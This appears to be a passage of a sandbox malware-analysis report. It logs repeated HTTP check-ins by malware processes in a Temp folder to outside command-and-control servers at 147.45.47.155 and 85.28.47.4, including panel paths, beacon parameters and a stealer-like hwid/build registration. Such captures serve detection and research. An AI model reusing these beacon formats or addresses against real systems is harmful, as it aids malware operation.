Jun 26, 2024 08:16:42.958950996 CEST	1236	IN	Data Raw: 82 12 52 75 d9 d9 bf 91 3b 5f 70 16 4d 30 40 aa 0e 3f 42 c5 c2 06 05 ca 21 09 e6 8e d7 f9 0e 7e 7d 9f a2 bb 41 af 94 e2 9e 04 ea 7b 51 80 ea 5f e6 34 d7 dd 81 5d 8f 09 56 e5 02 e3 9b 12 92 4a 54 2f 74 4c ab c2 7a 20 94 89 5e 74 da ba 52 a9 8d dd Data Ascii: Ru;_pM0@?B!~}A{Q_4]VJT/tLz ^tRQLn\|4JSuIS~S4eh^bQ)&el=^b,9q?}g\iZ$T>&k/mVtYG%YB'Xi$EH<x0'pnrs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49732	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:45.749042034 CEST	182	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 30 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000022001&unit=246122658369
Jun 26, 2024 08:16:46.440099955 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49733	85.28.47.4	80	7356	C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:46.077224970 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJ Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 30 31 42 33 34 46 38 43 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="hwid"2701B34F8C144293944220------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="build"default------GDBAKEGIDBGIEBFHDHJJ--
Jun 26, 2024 08:16:46.690248966 CEST	211	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49734	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:46.558742046 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:47.264296055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:47.265126944 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:47.478430986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49735	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:47.595740080 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49736	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:47.622857094 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49737	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:47.741584063 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49738	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:47.752501965 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49739	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:47.908950090 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49740	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:47.917682886 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49741	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.038307905 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49742	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.049591064 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49743	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.163940907 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49744	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.174859047 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49745	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.288816929 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49746	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.301302910 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49747	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.429297924 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49748	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.439897060 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49749	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.556767941 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49750	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.568588018 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49751	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.697889090 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49752	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.714413881 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49753	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.837694883 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49754	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.849288940 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49755	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.976212025 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49756	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:48.989383936 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49757	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.101007938 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49758	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.117539883 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49759	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.247657061 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49760	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:49.264341116 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49761	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
